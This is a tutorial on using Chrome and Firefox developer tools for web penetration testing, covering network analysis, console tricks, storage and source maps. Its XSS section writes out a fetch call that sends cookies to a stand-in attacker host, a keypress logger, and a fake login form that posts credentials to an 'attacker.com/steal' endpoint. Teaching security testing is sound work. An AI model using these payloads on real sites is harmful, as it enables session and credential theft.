Acquiring Dev Tools for Pentesting

1. Chrome DevTools Overview

Open with: F12, Ctrl+Shift+I (Windows/Linux), Cmd+Option+I (macOS)

Key Panels for Pentesting

• Elements: Inspect/modify DOM, find hidden fields, edit attributes
• Console: Execute JavaScript, test XSS payloads, access DOM APIs
• Network: Monitor all HTTP traffic, analyze requests/responses
• Application: Cookies, localStorage, sessionStorage, IndexedDB, service workers
• Sources: Debug JavaScript, set breakpoints, view source maps

2. Network Tab Analysis

2.1 Monitoring Requests

# Enable Preserve log to keep history across page navigations
# Disable cache to see fresh responses
# Filter by type: XHR, JS, CSS, Img, Media, Font, Doc, WS, Manifest

# Important columns:
# - Name: URL path
# - Status: HTTP status code
# - Type: Content type
# - Size: Response size
# - Time: Request duration
# - Initiator: What triggered the request

2.2 Finding Hidden API Calls

# Filter by XHR/Fetch to see AJAX requests
# Look for API endpoints: /api/, /v1/, /graphql, /rest/

# Right-click request → Copy:
# - Copy as cURL: Get full curl command
# - Copy as fetch: Get JavaScript fetch code
# - Copy request headers
# - Copy response

# Useful for:
# - Discovering API endpoints not visible in the UI
# - Finding hidden parameters in API calls
# - Identifying authentication tokens and methods
# - Analyzing WebSocket communications

2.3 Throttling and Conditions

# Simulate slow connections: Network tab → Throttle dropdown
# Useful for: Testing timeout behaviors, race conditions

# Block specific requests: Network tab → Right-click → Block request URL
# Useful for: Testing what happens when resources fail to load

3. Console for JavaScript Testing

3.1 DOM Manipulation

// Find all forms on the page
document.querySelectorAll('form')

// Find hidden input fields
document.querySelectorAll('input[type="hidden"]')

// Find all links
document.querySelectorAll('a[href]').forEach(a => console.log(a.href))

// Find all event listeners
getEventListeners(document.getElementById('loginBtn'))

// Modify hidden fields
document.querySelector('input[name="role"]').value = 'admin'

// Remove disabled attribute
document.querySelector('#submit-btn').removeAttribute('disabled')

// Remove maxlength restrictions
document.querySelector('input[name="comment"]').removeAttribute('maxlength')

// Find all JavaScript variables
Object.keys(window).filter(key => !defaultWindowKeys.includes(key))

// Extract all URLs from the page
Array.from(document.querySelectorAll('[src],[href],[action]'))
    .map(el => el.src || el.href || el.action)
    .filter(url => url && !url.startsWith('javascript:'))

3.2 Cookie Manipulation

// Read all cookies
document.cookie

// Set a cookie
document.cookie = "admin=true; path=/"

// Delete a cookie
document.cookie = "session=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/"

// Note: HttpOnly cookies are NOT accessible via JavaScript

3.3 Storage Access

// Local Storage
localStorage.getItem('auth_token')
localStorage.setItem('role', 'admin')
Object.keys(localStorage).forEach(key => console.log(key, localStorage[key]))

// Session Storage
sessionStorage.getItem('csrf_token')
Object.keys(sessionStorage).forEach(key => console.log(key, sessionStorage[key]))

3.4 XSS Testing in Console

// Test if XSS is possible
alert(document.domain)
alert(document.cookie)

// Fetch-based exfiltration test
fetch('https://attacker.com/log?cookie=' + document.cookie)

// Keylogger test
document.addEventListener('keypress', e => console.log(e.key))

// Inject fake login form
document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/steal"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>'

4. Application Tab

4.1 Cookies

# View all cookies for the current domain
# Edit cookie values directly by double-clicking
# Check attributes: HttpOnly, Secure, SameSite, Path, Domain, Expires

# Security checks:
# - Is the session cookie HttpOnly? (should be yes)
# - Is Secure flag set? (required for HTTPS)
# - Is SameSite set? (Lax or Strict recommended)
# - Is the session cookie too long-lived?
# - Are there any sensitive values in non-HttpOnly cookies?

4.2 Local Storage and Session Storage

# Check for sensitive data stored client-side:
# - JWT tokens (should be in HttpOnly cookies instead)
# - API keys
# - User data (PII)
# - Authentication state
# - Debug/development data

# Data persists even after browser restart (localStorage)
# Data cleared when tab closes (sessionStorage)

4.3 IndexedDB

# Check for complex data structures stored client-side
# Often used by SPAs for offline functionality
# May contain cached API responses with sensitive data

4.4 Service Workers

# Check for registered service workers
# Service workers can intercept network requests
# May cache sensitive data
# Can be used for offline functionality - check cached responses

5. Sources Tab

5.1 Debugging JavaScript

# Set breakpoints:
# - Click line number in source code
# - Conditional breakpoints: Right-click → Add conditional breakpoint
# - DOM breakpoints: Elements → Right-click element → Break on...
# - XHR breakpoints: Sources → XHR/fetch Breakpoints → Add

# Useful breakpoints for security testing:
# - Break on form submit to inspect data before sending
# - Break on XMLHttpRequest to see API calls
# - Break on cookie changes
# - Break on DOM modifications

# Step through code:
# F8: Resume execution
# F10: Step over
# F11: Step into
# Shift+F11: Step out

5.2 Source Maps

# Source maps (.map files) reveal original unminified source code
# Check: Sources → webpack:// or similar virtual directories
# Look for: /static/js/*.js.map, /assets/*.js.map

# If source maps are available in production:
# - Read original source code
# - Find hardcoded secrets
# - Understand application logic
# - Find hidden API endpoints
# - Identify security vulnerabilities

5.3 Overriding Responses

# Sources → Overrides → Select folder for overrides → Enable
# Right-click on a file → Save for overrides
# Modify the file locally

# Use cases:
# - Bypass client-side validation
# - Modify JavaScript logic
# - Change API responses
# - Test with modified CSP headers
# - Disable client-side security checks

6. Mobile Device Emulation

# Toggle device toolbar: Ctrl+Shift+M
# Select device preset or set custom dimensions
# Useful for:
# - Testing mobile-specific functionality
# - Mobile API endpoints might differ
# - Different User-Agent strings
# - Touch events
# - Responsive design breakpoints may expose different features

7. Firefox Developer Tools Differences

# Firefox-specific features useful for pentesting:

# Network tab:
# - Edit and Resend: Modify and replay any request directly
#   (Right-click request → Edit and Resend)
# - Built-in HAR export

# Storage tab (equivalent to Chrome Application):
# - Better cookie management
# - Cache storage inspection

# Console:
# - $0 references currently selected element in Inspector
# - copy() function copies any value to clipboard

# Accessibility tab:
# - Useful for finding hidden elements

# Multi-Account Containers:
# - Test with different sessions simultaneously
# - Essential for authorization testing

8. Browser Extensions for Pentesting

Installation Priority

1. FoxyProxy (proxy switching)
2. Wappalyzer (recon)
3. Cookie-Editor (session testing)
4. HackBar (payload generation)

9. Practical Workflow

# 1. Open target in browser with DevTools open
# 2. Network tab: Preserve log, Disable cache
# 3. Browse the application manually
# 4. Review all XHR/Fetch requests for API endpoints
# 5. Check Application tab for stored tokens/data
# 6. Inspect hidden form fields in Elements tab
# 7. Test JavaScript console for DOM-based vulns
# 8. Check Sources for source maps and sensitive code
# 9. Use Network tab "Copy as cURL" for Burp/terminal testing
# 10. Document all findings